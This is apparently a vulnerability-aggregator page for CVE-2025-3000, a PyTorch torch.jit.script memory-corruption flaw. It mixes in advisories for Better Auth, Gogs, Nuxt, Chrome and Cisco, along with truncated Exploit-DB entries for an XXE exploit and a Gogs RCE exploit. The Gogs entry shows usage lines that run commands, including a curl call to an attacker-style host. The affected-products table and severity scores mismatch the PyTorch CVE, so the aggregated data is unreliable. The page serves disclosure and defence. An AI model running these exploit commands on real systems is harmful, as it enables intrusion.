CVE-2025-3000
published 2025-03-31CVE-2025-3000: A vulnerability classified as critical has been found in PyTorch 2.6.0. This affects the function torch.jit.script. The manipulation leads to memory…
PriorityP427medium5.3CVSS 3.1
AVLACLPRLUINSUCLILAL
EPSS
0.18%
8.1th percentile
A vulnerability classified as critical has been found in PyTorch 2.6.0. This affects the function torch.jit.script. The manipulation leads to memory corruption. It is possible to launch the attack on the local host. The exploit has been disclosed to the public and may be used.
Affected
8 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| better-auth | better-auth | >= 0 < 1.2.10 | 1.2.10 |
| debian | pytorch | — | — |
| github.com | gogs_gogs | >= 0 < 0.13.3-0.20250608224432-110117b2e5e5 | 0.13.3-0.20250608224432-110117b2e5e5 |
| gogs.io | gogs | >= 0 < 0.13.3-0.20250608224432-110117b2e5e5 | 0.13.3-0.20250608224432-110117b2e5e5 |
| chrome_chrome | — | — | |
| linuxfoundation | pytorch | — | — |
| nuxt | rspack-builder | >= 3.12.2 < 3.15.3 | 3.15.3 |
| nuxt | webpack-builder | >= 3.0.0 < 3.15.3 | 3.15.3 |
CVSS provenance
nvdv3.15.3MEDIUMCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
nvdv4.04.8MEDIUMCVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
nvdv2.04.3MEDIUMAV:L/AC:L/Au:S/C:P/I:P/A:P
ghsa8.8HIGH
osv4.8MEDIUM
vendor_cisco7.4HIGH
vendor_debian4.8MEDIUM
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
Better Auth Open Redirect Vulnerability in originCheck Middleware Affects Multiple Routes
ghsa·2025-07-07
CVE-2025-53535 [LOW] CWE-601 Better Auth Open Redirect Vulnerability in originCheck Middleware Affects Multiple Routes
Better Auth Open Redirect Vulnerability in originCheck Middleware Affects Multiple Routes
### Summary
An open redirect has been found in the `originCheck` middleware function, which affects the following routes: `/verify-email`, `/reset-password/:token`, `/delete-user/callback`, `/magic-link/verify`, `/oauth-proxy-callback`.
### Details
In the `matchesPattern` function, `url.startsWith(` can be deceived with a `url` that starts with one of the `trustedOrigins`.
```jsx
const matchesPattern = (url: string, pattern: string): boolean => {
if (url.startsWith("/")) {
return false;
}
if (pattern.includes("*")) {
return wildcardMatch(pattern)(getHost(url));
}
return url.startsWith(pattern);
};
```
### Open Redirect PoCs
```jsx
export const auth = betterAuth({
baseURL: 'http://localhost:3000
GHSA
Gogs XSS allowed by stored call in PDF renderer
ghsa·2025-06-26·CVSS 8.8
CVE-2025-47943 [HIGH] CWE-79 Gogs XSS allowed by stored call in PDF renderer
Gogs XSS allowed by stored call in PDF renderer
### Summary
A stored XSS is present in Gogs which allows client-side Javascript code execution.
### Details
Gogs Version:
```
docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
gogs/gogs latest fe92583bc4fe 10 hours ago 99.3MB
```
Application version: `0.14.0+dev`
Local setup using:
```bash
# Pull image from Docker Hub.
docker pull gogs/gogs
# Create local directory for volume.
sudo mkdir -p /var/gogs
# Use `docker run` for the first time.
docker run --name=gogs -p 10022:22 -p 10880:3000 -v /var/gogs:/data gogs/gogs
```
The vulnerability is caused by the usage of a vulnerable and outdated component: `pdfjs-1.4.20` under public/plugins/.
Read more about this vulnerability at [codeanlabs - CVE-2024-4367](https://codeanlabs.com/blog/res
GHSA
GHSA-rrmf-rvhw-rf47: A vulnerability classified as critical has been found in PyTorch 2
ghsa_unreviewed·2025-03-31
CVE-2025-3000 [MEDIUM] CWE-119 GHSA-rrmf-rvhw-rf47: A vulnerability classified as critical has been found in PyTorch 2
A vulnerability classified as critical has been found in PyTorch 2.6.0. This affects the function torch.jit.script. The manipulation leads to memory corruption. It is possible to launch the attack on the local host. The exploit has been disclosed to the public and may be used.
OSV
CVE-2025-3000: A vulnerability classified as critical has been found in PyTorch 2
osv·2025-03-31·CVSS 4.8
CVE-2025-3000 [MEDIUM] CVE-2025-3000: A vulnerability classified as critical has been found in PyTorch 2
A vulnerability classified as critical has been found in PyTorch 2.6.0. This affects the function torch.jit.script. The manipulation leads to memory corruption. It is possible to launch the attack on the local host. The exploit has been disclosed to the public and may be used.
GHSA
PyTorch is vulnerable to memory corruption through its torch.jit.script function
ghsa·2025-03-31
CVE-2025-3000 [LOW] CWE-119 PyTorch is vulnerable to memory corruption through its torch.jit.script function
PyTorch is vulnerable to memory corruption through its torch.jit.script function
A vulnerability classified as critical has been found in PyTorch 2.6.0. This affects the function torch.jit.script. The manipulation leads to memory corruption. It is possible to launch the attack on the local host. The exploit has been disclosed to the public and may be used.
GHSA
Opening a malicious website while running a Nuxt dev server could allow read-only access to code
ghsa·2025-01-27
CVE-2025-24361 [MEDIUM] CWE-749 Opening a malicious website while running a Nuxt dev server could allow read-only access to code
Opening a malicious website while running a Nuxt dev server could allow read-only access to code
### Summary
Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.
### Details
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `` in their site and run the script.
By using `Function::toString` against the values in `window.webpackChunknuxt_app`, the attacker can get the source code.
### PoC
1. Create a nuxt project with webpack / rspack builder.
1. Run `npm run dev`
1. Open `http://localhost:3000`
1. Run the script below in a web site that has a different origin.
1. You can see the source code output in the document and the devtools console.
```js
const script = document
Chrome
Stable Channel Update for Desktop: CVE-2026-3925
vendor_chrome·2026-03-10·CVSS 4.3
CVE-2026-3925 [MEDIUM] Stable Channel Update for Desktop: CVE-2026-3925
Stable Channel Update for Desktop
CVE-2026-3925: Incorrect security UI in LookalikeChecks. Reported by NDevTK and Alesandro Ortiz on 2025-05-17 [$7000][ 478659010 ] Medium CVE-2026-3926: Out of bounds read in V8
Reported by qymag1c on 2026-01-26 [$3000][ 474948986 ] Medium CVE-2026-3927: Incorrect security UI in PictureInPicture
Severity: medium
Cisco
Cisco Nexus 3000 and 9000 Series Switches Intermediate System-to-Intermediate System Denial of Service Vulnerability
vendor_cisco·2025-08-27·CVSS 7.4
CVE-2025-20241 [HIGH] CWE-733 Cisco Nexus 3000 and 9000 Series Switches Intermediate System-to-Intermediate System Denial of Service Vulnerability
Cisco Nexus 3000 and 9000 Series Switches Intermediate System-to-Intermediate System Denial of Service Vulnerability
A vulnerability in the Intermediate System-to-Intermediate System (IS-IS) feature of Cisco NX-OS Software for Cisco Nexus 3000 Series Switches and Cisco Nexus 9000 Series Switches in standalone NX-OS mode could allow an unauthenticated, adjacent attacker to cause the IS-IS process to unexpectedly restart, which could cause an affected device to reload.
This vulnerability is due to insufficient input validation when parsing an ingress IS-IS packet. An attacker could exploit this vulnerability by sending a crafted IS-IS packet to an affected device. A successful exploit could allow the attacker to cause the unexpected restart of the IS-IS process, which could cause the affec
Cisco
Cisco Nexus 3000 and 9000 Series Switches Protocol Independent Multicast Version 6 Denial of Service Vulnerability
vendor_cisco·2025-08-27·CVSS 5.0
CVE-2025-20262 [MEDIUM] CWE-476 Cisco Nexus 3000 and 9000 Series Switches Protocol Independent Multicast Version 6 Denial of Service Vulnerability
Cisco Nexus 3000 and 9000 Series Switches Protocol Independent Multicast Version 6 Denial of Service Vulnerability
A vulnerability in the Protocol Independent Multicast Version 6 (PIM6) feature of Cisco Nexus 3000 Series Switches and Cisco Nexus 9000 Series Switches in standalone NX-OS mode could allow an authenticated, low-privileged, remote attacker to trigger a crash of the PIM6 process, resulting in a denial of service (DoS) condition.
This vulnerability is due to improper processing of PIM6 ephemeral data queries. An attacker could exploit this vulnerability by sending a crafted ephemeral query to an affected device through one of the following methods: NX-API REST, NETCONF, RESTConf, gRPC, or Model Driven Telemetry. A successful exploit could allow the attacker to cause the PIM6 pr
Cisco
Cisco NX-OS Software Sensitive Log Information Disclosure Vulnerability
vendor_cisco·2025-08-27·CVSS 5.5
CVE-2025-20290 [MEDIUM] CWE-200 Cisco NX-OS Software Sensitive Log Information Disclosure Vulnerability
Cisco NX-OS Software Sensitive Log Information Disclosure Vulnerability
A vulnerability in the logging feature of Cisco NX-OS Software for Cisco Nexus 3000 Series Switches, Cisco Nexus 9000 Series Switches in standalone NX-OS mode, Cisco UCS 6400 Fabric Interconnects, Cisco UCS 6500 Series Fabric Interconnects, and Cisco UCS 9108 100G Fabric Interconnects could allow an authenticated, local attacker access to sensitive information.
This vulnerability is due to improper logging of sensitive information. An attacker could exploit this vulnerability by accessing log files on the file system where they are stored. A successful exploit could allow the attacker to access sensitive information, such as stored credentials.
Note: To access the log files on Cisco Nexus devices that are affecte
Chrome
Stable Channel Update for ChromeOS / ChromeOS Flex: CVE-2025-1923
vendor_chrome·2025-03-18·CVSS 4.3
CVE-2025-1923 [LOW] Stable Channel Update for ChromeOS / ChromeOS Flex: CVE-2025-1923
Stable Channel Update for ChromeOS / ChromeOS Flex
CVE-2025-1923: Inappropriate Implementation in Permission Prompts. Reported by Khalil Zhani on 2024-12-06 [$3000
Severity: low
Cisco
Cisco Nexus 3000 and 9000 Series Switches Command Injection Vulnerability
vendor_cisco·2025-02-26·CVSS 5.1
CVE-2025-20161 [MEDIUM] CWE-78 Cisco Nexus 3000 and 9000 Series Switches Command Injection Vulnerability
Cisco Nexus 3000 and 9000 Series Switches Command Injection Vulnerability
A vulnerability in the software upgrade process of Cisco Nexus 3000 Series Switches and Cisco Nexus 9000 Series Switches in standalone NX-OS mode could allow an authenticated, local attacker with valid Administrator credentials to execute a command injection attack on the underlying operating system of an affected device.
This vulnerability is due to insufficient validation of specific elements within a software image. An attacker could exploit this vulnerability by installing a crafted image. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with root privileges.
Note: Administrators should validate the hash of any software image before installation.
Ci
Cisco
Cisco Nexus 3000 and 9000 Series Switches Health Monitoring Diagnostics Denial of Service Vulnerability
vendor_cisco·2025-02-26·CVSS 7.4
CVE-2025-20111 [HIGH] CWE-1220 Cisco Nexus 3000 and 9000 Series Switches Health Monitoring Diagnostics Denial of Service Vulnerability
Cisco Nexus 3000 and 9000 Series Switches Health Monitoring Diagnostics Denial of Service Vulnerability
A vulnerability in the health monitoring diagnostics of Cisco Nexus 3000 Series Switches and Cisco Nexus 9000 Series Switches in standalone NX-OS mode could allow an unauthenticated, adjacent attacker to cause the device to reload unexpectedly, resulting in a denial of service (DoS) condition.
This vulnerability is due to the incorrect handling of specific Ethernet frames. An attacker could exploit this vulnerability by sending a sustained rate of crafted Ethernet frames to an affected device. A successful exploit could allow the attacker to cause the device to reload.
Cisco has released software updates that address this vulnerability. There are workarounds that address this vulnerab
Chrome
Stable Channel Update for Desktop: CVE-2025-0434
vendor_chrome·2025-01-14·CVSS 8.8
CVE-2025-0434 [HIGH] Stable Channel Update for Desktop: CVE-2025-0434
Stable Channel Update for Desktop
CVE-2025-0434: Out of bounds memory access in V8. Reported by ddme on 2024-10-21 [$7000][ 379652406 ] High CVE-2025-0435: Inappropriate implementation in Navigation
Reported by Alesandro Ortiz on 2024-11-18 [$3000][ 382786791 ] High CVE-2025-0436: Integer overflow in Skia
Severity: high
Debian
CVE-2025-3000: pytorch - A vulnerability classified as critical has been found in PyTorch 2.6.0. This aff...
vendor_debian·2025·CVSS 4.8
CVE-2025-3000 [MEDIUM] CVE-2025-3000: pytorch - A vulnerability classified as critical has been found in PyTorch 2.6.0. This aff...
A vulnerability classified as critical has been found in PyTorch 2.6.0. This affects the function torch.jit.script. The manipulation leads to memory corruption. It is possible to launch the attack on the local host. The exploit has been disclosed to the public and may be used.
Scope: local
bookworm: open
bullseye: open
forky: open
sid: open
trixie: open
Cisco
Cisco Nexus 3000 and 9000 Series Switches Intermediate System-to-Intermediate System Denial of Service Vulnerability
vendor_cisco·CVSS 3.1
CVE-2025-20241 Cisco Nexus 3000 and 9000 Series Switches Intermediate System-to-Intermediate System Denial of Service Vulnerability
CVE-2025-20241: Cisco Nexus 3000 and 9000 Series Switches Intermediate System-to-Intermediate System Denial of Service Vulnerability
A vulnerability in the Intermediate System-to-Intermediate System (IS-IS) feature of Cisco NX-OS Software for Cisco Nexus 3000 Series Switches and Cisco Nexus 9000 Series Switches in standalone NX-OS mode could allow an unauthenticated, adjacent attacker to cause the IS-IS process to unexpectedly restart, which could cause an affected device to reload. This vulnerability is due to insufficient input validation when parsing an ingress IS-IS packet. An attacker could exploit this vulnerability by sending a crafted IS-IS packet to an affected device. A successful exploit could allow the attacker to cause the unexpected restart of the IS-IS process, which could c
Cisco
Cisco Nexus 3000 and 9000 Series Switches Protocol Independent Multicast Version 6 Denial of Service Vulnerability
vendor_cisco·CVSS 3.1
CVE-2025-20262 Cisco Nexus 3000 and 9000 Series Switches Protocol Independent Multicast Version 6 Denial of Service Vulnerability
CVE-2025-20262: Cisco Nexus 3000 and 9000 Series Switches Protocol Independent Multicast Version 6 Denial of Service Vulnerability
A vulnerability in the Protocol Independent Multicast Version 6 (PIM6) feature of Cisco Nexus 3000 Series Switches and Cisco Nexus 9000 Series Switches in standalone NX-OS mode could allow an authenticated, low-privileged, remote attacker to trigger a crash of the PIM6 process, resulting in a denial of service (DoS) condition. This vulnerability is due to improper processing of PIM6 ephemeral data queries. An attacker could exploit this vulnerability by sending a crafted ephemeral query to an affected device through one of the following methods: NX-API REST, NETCONF, RESTConf, gRPC, or Model Driven Telemetry. A successful exploit could allow the attacker to cau
Cisco
Cisco NX-OS Software Sensitive Log Information Disclosure Vulnerability
vendor_cisco·CVSS 3.1
CVE-2025-20290 Cisco NX-OS Software Sensitive Log Information Disclosure Vulnerability
CVE-2025-20290: Cisco NX-OS Software Sensitive Log Information Disclosure Vulnerability
A vulnerability in the logging feature of Cisco NX-OS Software for Cisco Nexus 3000 Series Switches, Cisco Nexus 9000 Series Switches in standalone NX-OS mode, Cisco UCS 6400 Fabric Interconnects, Cisco UCS 6500 Series Fabric Interconnects, and Cisco UCS 9108 100G Fabric Interconnects could allow an authenticated, local attacker access to sensitive information. This vulnerability is due to improper logging of sensitive information. An attacker could exploit this vulnerability by accessing log files on the file system where they are stored. A successful exploit could allow the attacker to access sensitive information, such as stored credentials. Note: To access the log files on Cisco Nexus devices that a
Cisco
Cisco Nexus 3000 and 9000 Series Switches Command Injection Vulnerability
vendor_cisco·CVSS 3.1
CVE-2025-20161 Cisco Nexus 3000 and 9000 Series Switches Command Injection Vulnerability
CVE-2025-20161: Cisco Nexus 3000 and 9000 Series Switches Command Injection Vulnerability
A vulnerability in the software upgrade process of Cisco Nexus 3000 Series Switches and Cisco Nexus 9000 Series Switches in standalone NX-OS mode could allow an authenticated, local attacker with valid Administrator credentials to execute a command injection attack on the underlying operating system of an affected device. This vulnerability is due to insufficient validation of specific elements within a software image. An attacker could exploit this vulnerability by installing a crafted image. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with root privileges. Note: Administrators should validate the hash of any software image before ins
Cisco
Cisco Nexus 3000 and 9000 Series Switches Health Monitoring Diagnostics Denial of Service Vulnerability
vendor_cisco·CVSS 3.1
CVE-2025-20111 Cisco Nexus 3000 and 9000 Series Switches Health Monitoring Diagnostics Denial of Service Vulnerability
CVE-2025-20111: Cisco Nexus 3000 and 9000 Series Switches Health Monitoring Diagnostics Denial of Service Vulnerability
A vulnerability in the health monitoring diagnostics of Cisco Nexus 3000 Series Switches and Cisco Nexus 9000 Series Switches in standalone NX-OS mode could allow an unauthenticated, adjacent attacker to cause the device to reload unexpectedly, resulting in a denial of service (DoS) condition. This vulnerability is due to the incorrect handling of specific Ethernet frames. An attacker could exploit this vulnerability by sending a sustained rate of crafted Ethernet frames to an affected device. A successful exploit could allow the attacker to cause the device to reload. Cisco has released software updates that address this vulnerability. There are
CVSS: 3.1
CWE: CWE-1220,
No detection rules found.
Exploit-DB
Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)
exploitdb·2025-08-18·CVSS 8.6
CVE-2025-7766 [HIGH] Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)
Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)
---
/*
* Exploit Title: Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)
* Google Dork: N/A
* Date: 2025-08-17
* Exploit Author: Byte Reaper
* Vendor Homepage: https://www.lantronix.com/
* Software Link: https://www.lantronix.com/products/lantronix-provisioning-manager/
* Version: Provisioning Manager ≤ 7.10.3
* Tested on: Kali Linux
* CVE: CVE-2025-7766
*/
#include
#include
#include"argparse.h"
#include
#include
#include
#include
#include
#define FULL_URL 3000
#define SIZE_PAYLOAD 4000
const char *yourIp = NULL;
const char *url = NULL ;
int yourPort = 0;
int selecetCookie = 0;
int verbose = 0;
int loop = 0;
int selectPayload = 0;
const char *yourPayload = NULL;
char full[FULL_URL];
i
Exploit-DB
gogs 0.13.0 - Remote Code Execution (RCE)
exploitdb·2025-07-02·CVSS 9.9
CVE-2024-39930 [CRITICAL] gogs 0.13.0 - Remote Code Execution (RCE)
gogs 0.13.0 - Remote Code Execution (RCE)
---
# Exploit Title: gogs 0.13.0 - Remote Code Execution (RCE)
# Date: 27th June, 2025
# Exploit Author: Ardayfio Samuel Nii Aryee
# Software link: https://github.com/gogs/gogs.git
# Version: gogs <=0.13.0
# Tested on: Ubuntu
# CVE: CVE-2024-39930
# ===============================
# Example Usage:
# python3 exploit.py http://gogs.local:3000 alice:password123 ~/.ssh/id_rsa ~/.ssh/id_rsa.pub "touch /tmp/pwned"
# python3 exploit.py http://gogs.local:3000 alice:password123 ~/.ssh/id_rsa ~/.ssh/id_rsa.pub "curl http://atacker.com" --ssh-port 2222
# ===============================
import requests
import paramiko
import base64
import random
import string
import sys
import argparse
from urllib.parse import urlparse
API_BASE_URL = ""
def generate_ran
No writeups or analysis indexed.
2025-03-31
Published